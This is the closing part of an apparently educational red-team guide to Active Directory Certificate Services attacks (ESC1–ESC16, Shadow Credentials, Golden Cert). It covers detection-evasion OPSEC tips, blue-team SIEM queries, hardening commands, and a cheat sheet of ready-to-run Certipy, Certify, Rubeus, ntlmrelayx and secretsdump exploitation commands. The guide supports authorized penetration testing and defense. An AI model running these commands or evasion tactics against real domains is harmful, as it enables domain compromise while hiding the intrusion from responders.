- ◆ Use existing enrolled machine certs where possible — minimize new CA enrollment requests
- ◆ Time cert requests during business hours — off-hours enrollment is an anomaly signal
- ◆ ESC4: always restore template to original immediately after exploitation (Certipy -save-old)
- ◆ ESC9/ESC10/ESC16: minimize UPN change window — restore within seconds, not minutes
- ◆ ESC14: clean up altSecurityIdentities mapping immediately after obtaining hash
- ◆ Shadow Credentials: use certipy shadow auto — it adds AND cleans up in one command
- ◆ For ESC8/ESC11 relay: use scheduled-task coercion instead of aggressive scan-based coercion
- ◆ Avoid requesting certs with SAN=Administrator — use service account UPNs instead
- ◆ Request minimum validity periods — a 1-day cert for lateral movement vs a 1-year one
- ◆ For Golden Cert: keep the CA PFX encrypted and off-target infrastructure

RTG OPSEC

CA event logs (4886, 4887) log every request — they WILL be reviewed during IR.
Certipy uses impacket RPC by default — avoids HTTP Web Enrollment logs entirely.
The single biggest OPSEC mistake: SAN=Administrator cert request from a Domain User account.
ESC11 (RPC relay) generates fewer logs than ESC8 (HTTP) — prefer ESC11 when available.

25

DETECTION — BLUE TEAM INDICATORS

Event IDs, SIEM Queries & Hunting

Event ID	Source	Description	Attack Relevance
4886	Security	Certificate request received	All ESC attacks — start of chain
4887	Security	Certificate issued	Successful ESC exploitation
4888	Security	Certificate request denied	Failed attempts / blocked
4768	Security	TGT request (includes PKINIT)	PKINIT auth post-ESC exploitation
4769	Security	TGS request	Post-cert lateral movement
5136	Security	Directory object modified	ESC4, ESC14, Shadow Credentials (msDS-KeyCredentialLink, altSecurityIdentities)
4899	Security	Certificate template updated	ESC4 template modification
4898	Security	Certificate template loaded	Template changes
4900	Security	Certificate Services security settings changed	ESC6/ESC7 CA flag changes

SIEM Hunting Queries

```

SIEM Detection - Splunk / Azure Sentinel KQL

# Splunk - ESC1: cert issued with SAN for different identity than requester
index=wineventlog EventCode=4887
| where isnotnull(SubjectAltName) AND Requester!=SubjectAltName
| table _time, Requester, SubjectAltName, TemplateName, RequestID

# KQL (Sentinel) - Shadow Credentials: msDS-KeyCredentialLink attribute added
SecurityEvent | where EventID==5136
| where AttributeLDAPDisplayName=='msDS-KeyCredentialLink' and OperationType=='%14674'
| project TimeGenerated, SubjectAccountName, ObjectDN

# KQL - ESC14: altSecurityIdentities modified
SecurityEvent | where EventID==5136
| where AttributeLDAPDisplayName=='altSecurityIdentities'
| project TimeGenerated, SubjectAccountName, ObjectDN, AttributeValue

# KQL - PKINIT anomaly: cert-based TGT from unusual source
SecurityEvent | where EventID==4768 and AuthenticationMethod=='PKINIT'
| summarize count() by AccountName, IPAddress, bin(TimeGenerated,1h)
| where count_ > 3

# Splunk - ESC7: CA configuration flags changed
index=wineventlog EventCode=4900
| table _time, SubjectAccountName, OldConfig, NewConfig

```

Figure: Detection queries for ESC1 SAN anomaly, Shadow Credentials, ESC14 altSecurityIdentities, PKINIT anomaly, ESC7

RTG NOTE

Enable full CA audit logging first: certutil -setreg CVAuditFilter 127 — required for 4886/4887.
ESC8/ESC11 relay: alert on machine accounts (DC\$, SERVER\$) making cert requests from unexpected IPs.
Golden Cert: cert serial number not found in CA issued certs database = forged cert indicator.
ESC16: alert on CA DisableExtensionList registry modification (Event 4900 equivalent).

26

MITIGATIONS & HARDENING

Blue Team Remediation Priority Guide

Attack	Fix	Command / Action	Priority
ESC1	Remove ENROLLEE_SUPPLIES_SUBJECT flag	Set msPKI-Certificate-Name-Flag &= ~0x1 on template	CRITICAL
ESC2	Remove Any Purpose EKU; restrict EKUs	Edit template — specify only required EKUs	HIGH
ESC3	Restrict Enrollment Agent template	Remove Domain User enroll from EA template	HIGH
ESC4	Fix template ACLs	Only CA Admins have Write on template objects	HIGH
ESC5	Fix PKI container ACLs	Audit and restrict GenericWrite on PKI AD objects	HIGH
ESC6	Remove CA flag	certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2	CRITICAL
ESC7	Restrict ManageCA	Only CA Admin accounts should have ManageCA right	HIGH
ESC8	Enable HTTPS+EPA on certsrv	Enable Extended Protection on Web Enrollment	CRITICAL
ESC9	Remove CT_FLAG_NO_SECURITY_EXTENSION	Edit template enrollment flags	HIGH
ESC10	Enable strong cert binding	reg set StrongCertificateBindingEnforcement = 2	HIGH
ESC11	Enable RPC encryption	certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST	HIGH
ESC14	Restrict GenericWrite on accounts	Audit and remove unnecessary GenericWrite DACLS	HIGH
ESC15	Patch + migrate templates	Apply KB5044976; upgrade schema v1 → v2/v3	HIGH
ESC16	Re-enable security extension	certutil -setreg CA\DisableExtensionList -	CRITICAL
Shadow Creds	Monitor msDS-KeyCredentialLink	Alert on attribute changes (Event 5136)	HIGH
Golden Cert	HSM-backed CA keys	Implement HSM for CA private key storage	CRITICAL

```

Windows CA Hardening Commands

# Remove ESC6 flag
PS C:\CA> certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
PS C:\CA> net stop certsvc && net start certsvc

# Enable full CA audit logging
PS C:\CA> certutil -setreg CA\AuditFilter 127
PS C:\CA> net stop certsvc && net start certsvc

# Enable RPC encryption (ESC11 fix)
PS C:\CA> certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST

# Enable strong cert binding (ESC10 fix)
PS C:\DC> reg add 'HKLM\SYSTEM\CurrentControlSet\Services\Kdc' /v StrongCertificateBindingEnforcement /t REG_DWORD /d 2

# Re-enable security extension (ESC16 fix)
PS C:\CA> certutil -setreg CA\DisableExtensionList -1.3.6.1.4.1.311.25.2
PS C:\CA> net stop certsvc && net start certsvc

```



Figure: CA hardening — ESC6 flag removal, full audit logging, RPC encryption, strong cert binding enforcement

27

QUICK REFERENCE — COMPLETE CHEAT SHEET

All Key Commands, Tools & Techniques in One Place

Certipy Command Reference

Operation	Command
Full enum	certipy find -u USER -p PASS -dc-ip DC
Enum → BloodHound	certipy find -u USER -p PASS -dc-ip DC -bloodhound
ESC1/2/6 exploit	certipy req -u USER -p PASS -dc-ip DC -ca CA -template TPL -upn admin@domain
ESC3 Stage 1 — EA cert	certipy req -u USER -p PASS -dc-ip DC -ca CA -template EnrollmentAgent
ESC3 Stage 2 — on behalf	certipy req -u USER -p PASS -dc-ip DC -ca CA -template User -on-behalf-of 'corp\admin' -pfx ea.pfx
ESC4 — overwrite	certipy template -u USER -p PASS -dc-ip DC -template TPL -save-old
ESC4 — restore	certipy template -u USER -p PASS -dc-ip DC -template TPL -configuration TPL.json
ESC7 — ManageCA	certipy ca -u USER -p PASS -dc-ip DC -ca CA -enable-flag EDITF_ATTRIBUTESUBJECTALTNAME2
ESC7 — approve req	certipy ca -u USER -p PASS -dc-ip DC -ca CA -issue-request
ESC8 relay	impacket-ntlmrelayx -t http://CA/certsrv/certfnsh.asp --adcs --template DomainController
ESC9/16 — UPN change	certipy account update -u USER -p PASS -dc-ip DC -user TARGET -upn administrator
ESC11 relay	certipy relay -target rpc://CA -ca CA -template DomainController
ESC14 — add mapping	certipy account update ... -user TARGET -alt-security-identities 'X509:[I]CN=CA[SR]SERIAL'
ESC15 exploit	certipy req ... -template WebServer -upn admin@domain -application-policies 'Client Authentication'
Shadow Creds auto	certipy shadow auto -u USER -p PASS -dc-ip DC -account TARGET
Golden Cert backup	certipy ca -u USER -p PASS -dc-ip DC -ca CA -backup
Golden Cert forge	certipy forge -ca-pfx CA.pfx -upn admin@domain
PKINIT auth	certipy auth -pfx CERT.pfx -dc-ip DC

Windows Tools Quick Reference

Operation	Command
Find vulnerable templates	Certify.exe find /vulnerable /showAllPermissions
ESC1 request	Certify.exe request /ca:CA /template:TPL /altname:administrator
ESC3 on-behalf-of	Certify.exe request /ca:CA /template:User /onbehalfof:corp\admin /enrollcert:ea.pfx
PKINIT + inject TGT	Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /ptt
Shadow Creds (Windows)	Whisker.exe add /target:USER /domain:DOM /dc:DC /path:cert.pfx
Verify TGT	klist
DCSync after TGT	impacket-secretsdump -k -no-pass DC

Pre-Engagement ADCS Checklist

- ◆ [] Run 'certipy find' — map ALL ESC conditions (ESC1-ESC16) on all CAs in scope
- ◆ [] Run BloodHound — look for Enroll, GenericWrite on templates, AddKeyCredentialLink edges
- ◆ [] Check Web Enrollment (<http://ca/certsrv/>) for ESC8 — no HTTPS or EPA = critical finding



- ◆ [] Check RPC encryption on CA for ESC11 — often missed, very common
- ◆ [] Check EDITF_ATTRIBUTESUBJECTALTNAME2 on ALL CAs for ESC6
- ◆ [] Check szOID_NTDS_CA_SECURITY_EXT disabled at CA level for ESC16
- ◆ [] Check schema version 1 templates with ENROLLEE_SUPPLIES_SUBJECT for ESC15
- ◆ [] Identify ManageCA rights holders for ESC7
- ◆ [] Map GenericWrite on user/computer accounts for ESC9/ESC10/ESC14/Shadow Credentials
- ◆ [] Identify Enrollment Agent templates for ESC3
- ◆ [] Check PKI container ACLs for ESC5
- ◆ [] Plan attack chain: which ESC, from which account, to which target
- ◆ [] Prepare OPSEC: UPN restore scripts ready before ESC9/ESC10/ESC16 execution
- ◆ [] Prepare post-exploitation persistence plan before triggering any ESC
- ◆ [] Document all cert requests for final report evidence

RTG TIP

One 'certipy find' is all you need to map the entire ADCS attack surface including ESC16.
Always verify ESC conditions before exploiting — false positives exist in certipy output.
Document every cert request and ESC exploitation for the client report and remediation plan.
After engagement: give client certipy find output + this hardening section as remediation guide.



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG NOTE

Democratize offensive security education — free, practical, no-nonsense.
Build the most comprehensive red team technique library available anywhere.
Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.